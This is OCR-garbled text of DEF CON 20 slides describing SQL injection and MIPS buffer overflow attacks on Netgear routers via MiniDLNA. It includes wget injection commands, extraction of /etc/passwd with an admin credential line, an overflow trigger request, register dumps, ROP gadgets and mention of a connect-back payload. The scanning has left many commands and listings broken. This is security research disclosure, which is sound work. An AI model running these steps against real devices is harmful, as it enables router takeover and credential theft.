From SQL Injection to MIPS Overflows Rooting SOHO Routers Zachary Cutlip Twitter: @zcutlip zcutlip@tacnetsol.com DEF CON 20 Acknowledgements Tactical Network Solutions Craig Heffner TACTICAL NETWORK SOLUTIONS What I'm going to talk about Novel uses of SQL injection Buffer overflows on MIPS architecture 0-day Vulnerabilities in Netgear routers Embedded device investigation process Live demo: Root shell & more Read the paper Lots of essential details Not enough time in this talk to cover it all Please read it Why attack SOHO routers? Offers attacker privileged vantage point Exposes multiple connected users to attack Exposes all users' Internet comms to snooping/ manipulation Often unauthorized side doors into enterprise networks Target device: Netgear WNDR3700 v3 Fancy-pants SOHO Wireless Router DLNA Mutlimedia server File server w/USB storage Other affected devices Netgear WNDR 3800 Netgear WNDR 4000 Netgear WNDR 4400 First step: take it apart UART to USB adapter USB port Helps analysis Retrieve SQLite DB Load a debugger onto the router Analyzing the Device Software Download firmware update from vendor, unpack See Craig Heffner's blog for more on firmware unpacking http://www.devttysO.com/blog $ binwalk ./WNDR3700v3-V1 .0.0.1 8_1 .0.1 4.chk DECIMAL HEX DESCRIPTION 86 0x56 LZMA compressed data 1 423782 0x1 5B9A6 Squashfs f ilesystem $ dd if=WNDR3700v3-V1 .0.0.1 8_1 .0.14.chk of=kernel.7z bs=1 skip=86 count=1 423696 $ p7zip -d kernel. 7z $ strings kernel | grep 'Linux version 1 Linux version 2.6.22 ( peter@localhost.localdomain ) (gcc version 4.2.3) #1 Wed Sep 14 10:38:51 CST 2011 Target Application: MiniDLNA $ Is -I rootf s/usr/sbin/minidlna, exe -rwxr-xr-K 1 root root 256092 2012-02-16 14:37 rootf s/us r/sbi $ file rootf s/usr/sbin/minidlna. exe rootf s/usr/sbin/minidlna. exe: ELF 32-bit LSB executable, HIP^ d (uses shared libs), strippec What is DLNA? Digital Living Network Alliance Interoperability between gadgets Multimedia playback, etc. But Most Importantly... Attack Surface Google reveals: open source! ■ MiniDLNA | Free Audio & Video : s ou re eforge.n et/proj ects/ minidlna/ ~ Dec 18, 2011 - MiniDLNA faka ReadyDI fully compliant with DLNA/UPnP-AV cliei Download - Forums - Files - Support Source code analysis 'strings' reports shipping binary is 1 .0.18 Download source for our version. Search source for low-hanging fruit SQL injection: more than meets the eye Privileged access to data What if the data is not sensitive or valuable? Opportunity to violate developer assumptions Vulnerability 1 : SQL injection grep -rn SELECT * | grep '%s' 21 results, such as: sprintf(sql_buf, "SELECT PATH from ALBUM.ART where ID = %s", object); Closer look void 5endResp_fllbuinArt (struct upnphttp * h , char * object) { char header [1500] ; char sql_buf[Z56]; /*. .. abbreviated. . . V dash = strchrCobject* ' - if C dash ) ♦dash - ; sprint f(sql_buf, "SELECT PATH from ALBUM_ART where ID = object) sql_get_table(db , sql_buf , ^result, &rows t NULL); /*. , . abbreviated, . . V } Album art query e o o [ S£ j [O] + 0http:// 10.10. 10. l:SZOO/AlbumArt/l-foo.jpg Test the vulnerability $ wget http://10.10. 10. 1:8200/ AlbumArt/"l; INSERT/**/into/**/ ALBUM_ART(IDj PATH)/**/ VALUES( ' 31337 ' , ' pwned ' ) ; " -throwaway . jpg wOOt! Success! sqlite> select * from ALBUM_ART where ID=31337; 31337|pwned Good news / Bad news Working SQL injection Trivial to exploit No valuable information Even if destroyed, DB is regenerated Vulnerability 2: Remote File Extraction MiniDLNA Database: sqlite> select * from ALBUM_ART; 1 I /tmp/mnt/usb0/partl/ . ReadyDLNA//art_cache/tmp/shares/ USB_Storage/01 - Unforgivable (First State Remix). jpg Test the Vulnerability $ wget htt p : / /10 . 10 . 10 . 1 : 8200/ AlbumArt/ "!; INSERT/**/into/**/ ALBUM_ART(ID^ PATH)/**/ VALUES ( ' 31337 ' 3 ' /etc/passwd' );"- throwaway.jpg $ wget http://10.10. 10. 1:8200/ AlbumArt/31337-18. jpg Passwords $ cat 31337-18.jpg nobody:*:0:0:nobody:/:/bin/sh admin:qw12QW!@:0:0:admin:/:/bin/sh guest:guest:0:0:guest:/:/bin/sh admin :qw12QW!@:0:0:admin:/:/bin/sh Vulnerability 3: Remote Code Execution i.e., Pop a shell Where have all the strcpyO gone? $ find . -name \*.c -print | xargs grep -E \ 'sprintf\( |strcat\( |strcpy\( ' | \ grep -v asprintf | wc -1 265 <— Here they are. 265 <— Here they are- static int cresp+passed_args->size , &str_buf> ret+1}; passed_args->size += ret; /*. . . abbreviated. . , V } return 8; 1 Left join madness SELECT o.0BJECT_ID, o. PARENT_ID, o.REF_ID, o. DETAIL_ID, o. CLASS, d.SIZE, d. TITLE, d. DURATION, d. EITRATE , d . SAMPLERATE , d. ARTIST, d. ALBUM, d. GENRE, d. COMMENT, d. CHANNELS, d .TRACK, d . DATE , d . RESOLUTION , d .THUMBNAIL , d. CREATOR, d.DLNA^PN, d.MIME, d.ALBUM.ART, d.DISC from OBJECTS o left join DETAILS d on Qd.lD - o.DETAIL_ID> where OBJECT_ID - album_art in sprintfQ is DETAILS.ALBUM_ART. Schema shows it's an INT. sqlite> .schema DETAILS CREATE TABLE DETAILS ( ID INTEGER PRIMARY KEY AUTOINCREMENT . . . , ALBUM_ART INTEGER DEFAULT S . . . Two things to note DETAILS.ALBUM_ART is an INT, but it can store arbitrary data This is due to "type affinity" callbackO attempts to "validate" using atoiO, but this busted atoi("1_omg_learn_to_c0d3") == 1 ALBUM_ART need only start with a (non-zero) int Weak sauce Exploitable buffer overflow? We have full control over the DB from Vuln #1 We need to: Stage shellcode in database Trigger query of our staged data SQL injection limitation Limited length of SQL injection, approx. 128 bytes per pass. Target buffer is 51 2 bytes. SQLite concatenation operator: "||" UPDATE DETAILS set ALBUM_ART=ALBUM_ART|| "AAAA" where ID=3 Trigger query of staged exploit Model DLNA in Python Python Coherence library Capture conversation in Wireshark Save SOAP request for playback with wget Wireshark capture POST /ctl/ContentDir HTTP/ 1.0 Host: 1Q.10.10.1 User-Agent: Twisted PageGetter Content-Length: 450 SOAPACTION: "urn : schemas-upnp-org : service : ContentDirectory : l#Browse" content-type: text/xml ;charset="utf -8" connection: close PWNEDBrowseDirectChildren0100HTTP/l.l 200 OK Content-Type: text/xml; charset="utf -B" Connection: close Content-Length: 1154 Server: Linux 2.6 DLNADOC/1.50 UPnP/1.0 MiniDLNA/1 . SOAP request <0b j ect ID>P WN ED BrowseDirectChildren * 0 10@ Things you need Console access to the device There is a UART header on the PCB gdbserver cross-compiled for MIPS gdb compiled for MIPS target architecture Test Vulnerability Use wget to SQL inject overflow data Set up initial records in OBJECTS and DETAILS Attach gdbserver on the target to minidlna.exe Connect local gdb to remote session Use wget to POST the SOAP request How much overflow data? Trigger the exploit $ wget http://1 0.1 0.1 0.1 :8200/ctl/ContentDir \ --header="Host: 10.10.10.1" \ --header=\ 'SOAPACTION: "urn:schemas-upnp- org:service:ContentDirectory:1 #Browse"' \ --header= 111 content-type: text/xml ;charset="utf-8"' \ -header="connection: close" \ -post-file=./soaprequest.xml wOOt! Success! 0x2af4241c <_multf3+2364>: Li vfl p -l 0x2af42420 < mu Ltf 3+236B> : move sp,sB 0x2af423fc in multf3 () from /lib/libgcc_s. so. 1 (gdb) c Continuing. Program received signal SIGSEGV, Segmentation fault. [ registers] V0: 00000000 A2: 00000002 T2: 00000000 T6: 73616C63 52: 41414141 S6: 41414141 GP: 00483E20 SP: 7FF44F30 VI: 00000535 A3: 7FF44D1C T3: 7FF449D0 T7: 74672673 S3: 41414141 57: 41414141 5B: 41414141 PC: 41414141 A0: 2B47953E T0: 00000000 T4: 2AF3801B 50: 41414141 54: 41414141 T8: 00000000 HI: 00000008 RA: 41414141 Al: 7FF44D1C Tl: 74672672 T5: 2AFCC004 51: 41414141 55: 41414141 T9: 2AF616F0 LO: 00000000 [code] 0x41414141: Error while running hook_stop: Cannot access memory at address 0x41414148 0x41414140 in 11 () (gdb} □ We control the horizontal and the vertical We own the program counter, and therefore execution Also all "S" registers: $S0-$S8 Very useful for Return Oriented Programming exploit Owning $PC is great, but give me a shell Getting Execution: Challenges Stack ASLR MIPS Architecture idiosyncrasies Return Oriented Programming is limited (but possible) "Bad" Characters due to HTTP & SQL Getting Execution: Advantages No ASLR for executable, heap, & libraries Executable stack ROP on MIPS All MIPS instructions are 4-bytes All MIPS memory access must be 4-byte aligned No jumping into the middle of instructions ROP on MIPS We can return into useful instruction sequences: Manipulate registers Load $PC from registers or memory we control Help locate stack, defeating ASLR Locate stack using ROP ZB119DZC addm Jap, Dil5B-i-var_3B .1.6X1. ZBlfl9lF3Q addiu 556, Sap, DH5B+var_3D .test ZB119D34 addiu 553, Jap, 0xl5B+var_ZC .t€Et ZB11SD3B BW 553, □xl5a+Tar_l4B(5sp> .text ZB11S.D3C 55Z, □xl5S+Tar_l44(5Bp> . t€lt 2EU15D40 move 5a0, 5sl .text ZB11SIM4 1m Sal, -DlTFCB ( 5gp) .test ZB115B4B addm 5al, < aFf ■pegVI>_I>_I>Li - . ten ZB115B4C BOTE 5aZ, 554 .text ZB11S35D lv SIS, . fceit ZB119B54 hots Sis, 5s0 .text ZB11505B jair 519 OiZBlBBDDO} # FFapeg Tld.ld.td / 11 Load several offsets from stack pointer into $S3,$S4,$S6 Load $S0 into $T9 and jump MIPS cache coherency MIPS has two parallel caches: Instruction Cache Data Cache Payload written to the stack as data Resides in data cache until flushed MIPS Cache Coherency Can't execute off stack until cache is flushed Write lots to memory, trigger flush? Cache is often 32K-64K Linux provides cacheflushO system call ROP into it Bad characters Common challenge with shellcode Spaces break HTTP Null bytes break strcpyO/sprintfO SQLite also has bad characters e.g., OxOd, carriage return SQLite escape to the rescue: "x'Od"' \x7a\x69\xce\xe4\xff", x J 0d J ", \x3c\x0a\x0a\xad\x35" Trouble with Encoders Metasploit payload + XOR Encoder==No Joy Metasploit only provides one of each Caching problem? Wrote my own NUL-Safe connect-back payload No need for encoder Pro Tip: Avoid endianness problems by connecting back to 10.10.10.10 Mitigations Less crappy programming Privilege separation Mandatory Access Controls, e.g. SELinux Upshot Developer assumes well-formed data Compromise database integrity, violate developer assumptions Even if the database is low value Read the Paper Demo Time